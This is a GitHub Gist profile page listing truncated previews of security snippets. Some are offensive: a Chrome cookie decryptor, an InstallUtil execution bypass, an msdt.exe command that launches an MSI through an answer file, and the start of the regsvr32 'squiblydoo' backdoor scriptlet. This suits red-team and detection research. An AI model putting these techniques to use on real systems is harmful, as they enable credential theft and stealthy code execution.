Skip to content

Instantly share code, notes, and snippets.

View jackson5sec's full-sized avatar

jackson5 jackson5sec

View GitHub Profile
@jackson5sec
jackson5sec / decrypt_chrome_cookies.py
Created November 7, 2023 17:02
Chrome Cookie Decryptor with AES State Key
import sqlite3
import sys
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import binascii
import json
# Python2.7 script
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
@jackson5sec
jackson5sec / disabled services
Created June 20, 2023 17:36 — forked from Samirbous/disabled services
"Top 1000 values of registry.path",Count
"HKLM\SYSTEM\ControlSet001\Services\WinDefend\Start","1,483"
"HKLM\SYSTEM\ControlSet001\Services\UsoSvc\Start","1,477"
"HKLM\SYSTEM\ControlSet001\Services\WaaSMedicSvc\Start","1,477"
"HKLM\SYSTEM\ControlSet001\Services\wuauserv\Start","1,477"
"HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService\Start",6
"HKLM\SYSTEM\ControlSet001\Services\Sense\Start",6
"HKLM\SYSTEM\ControlSet001\Services\WdBoot\Start",6
"HKLM\SYSTEM\ControlSet001\Services\WdFilter\Start",6
"HKLM\SYSTEM\ControlSet001\Services\WdNisDrv\Start",6
@jackson5sec
jackson5sec / ns-inet.sh
Created August 2, 2022 00:41 — forked from dpino/ns-inet.sh
Setup a network namespace with Internet access
#!/usr/bin/env bash
# set -x
if [[ $EUID -ne 0 ]]; then
echo "You must be root to run this script"
exit 1
fi
# Returns all available interfaces, except "lo" and "veth*".
@jackson5sec
jackson5sec / Aes
Created February 24, 2020 05:41 — forked from darkr4y/Aes
public class Main {
public static void main(String[] argv) throws Exception {
System.out.println("Keystore: " + argv[0]);
System.out.println("Keystore Password: " + argv[1]);
System.out.println("Key Password: " + argv[1]);
@jackson5sec
jackson5sec / gethelp.cs
Created May 14, 2019 00:18
Help Me! MSDN InstallUtil - https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.installer.helptext?view=netframework-4.8
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@jackson5sec
jackson5sec / .screenrc
Created February 28, 2019 18:53
Screen RC File
hardstatus on
hardstatus alwayslastline
hardstatus string "%{.kW}%-w%{.bW}%t [%n]%{-}%+w %=%{..G} %H %{..Y} %Y/%m/%d %c"
@jackson5sec
jackson5sec / smb2_version.py
Created July 19, 2018 18:36
A make-shift SMB2 replacement for Metasploit's auxiliary/scanner/smb_version
#!/usr/bin/python
'''
This is a make-shift replacement for metasploit's auxiliary/scanner/smb_version for clients that have disabled/removed
SMBv1. This grabs the hostname, domain name, and Windows version from the NTLMv2 challenge response
@Quickbreach
'''
import argparse
@jackson5sec
jackson5sec / PCW8E57.xml
Created June 6, 2018 16:42 — forked from homjxi0e/PCW8E57.xml
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
<?xml version="1.0" encoding="utf-16"?>
<Answers Version="1.0">
<Interaction ID="IT_LaunchMethod">
<Value>ContextMenu</Value>
</Interaction>
<Interaction ID="IT_SelectProgram">
<Value>NotListed</Value>
</Interaction>
<Interaction ID="IT_BrowseForFile">
<Value>C:\Windows\assembly\Exec-Execute.msi</Value>
@jackson5sec
jackson5sec / google_login.py
Created March 21, 2018 19:38 — forked from ikegami-yukino/google_login.py
Automatically Google login by selenium
mail_address = ''
password = ''
from selenium import webdriver
UA = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0'
PHANTOMJS_ARG = {'phantomjs.page.settings.userAgent': UA}
driver = webdriver.PhantomJS(desired_capabilities=PHANTOMJS_ARG)
url = 'https://www.google.com/accounts/Login?hl=ja&continue=http://www.google.co.jp/'
@jackson5sec
jackson5sec / Backdoor-Minimalist.sct
Created March 21, 2018 18:39 — forked from enigma0x3/Backdoor-Minimalist.sct
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[